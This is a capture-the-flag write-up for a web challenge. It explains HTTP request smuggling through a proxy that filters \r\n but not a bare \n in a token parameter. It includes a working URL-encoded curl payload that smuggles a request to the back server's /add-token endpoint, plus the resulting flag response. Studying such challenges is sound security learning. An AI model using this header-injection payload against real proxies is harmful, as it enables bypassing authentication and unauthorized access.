Tags: http request smuggling 

Rating: 4.5

There are two endpoints available, /flag and /add-token. /add-token checks for an auth so /flag is the only request we can use to perform a http request smuggling.

The /flag endpoint in the proxy makes another request to the back server to /flag, the objetive is use the proxy's /flag endpoint to make a request to the back's /add-token endpoint.

The vulnerability occurs because the token query is being used as part of the headers for the proxied request and that the http-client.js file only checks if the header includes \r\n so a regular %0d%0a (url encoded) won't work, but it doesn't check for just \n or %0a.

A regular HTTP request for /flag looks like this:

GET /flag?token=randomcharacters HTTP/1.0
Host: back:8080
Content-Length: 0
Connection: close

If we inject the following in the request:

Content-Length: 0
Connection: keep-alive

GET /add-token?token=randomcharacters HTTP/1.0
Host: back:8080

Will make another request to the back server and add the token for us.

The payload will look something like this after URL encoding:

curl "http://flag-proxy.challs.teamitaly.eu/flag?token=%0aContent-Length:0%0aConnection:%20keep-alive%0a%0aGET%20/add-token?token=randomcharacters%20HTTP/1.0%0aHost:%20back:8080%0a"

This works because the final request after the proxy server finishes parsing the headers will ultimately look something like this:

GET /flag?token=
Content-Length: 0
Connection: keep-alive

GET /add-token?token=randomcharacters HTTP/1.0
Host: back:8080

 HTTP/1.0
Host: back:8080
Content-Length: 0
Connection: close

Then we can just make a request to the /flag endpoint with our custom token and receive the flag

curl "http://flag-proxy.challs.teamitaly.eu/flag?token=randomcharacters"

Response:

{"httpVersion":"HTTP/1.1","statusCode":200,"statusMessage":"OK","headers":{"X-Powered-By":"Express","Content-Type":"text/html; charset=utf-8","Content-Length":"18","ETag":"W/\"12-43/A5sw4MypQYouEtbBr+zK2j/E\"","Date":"Thu, 08 Sep 2022 19:49:10 GMT","Connection":"close"},"body":"flag{sanity_check}"}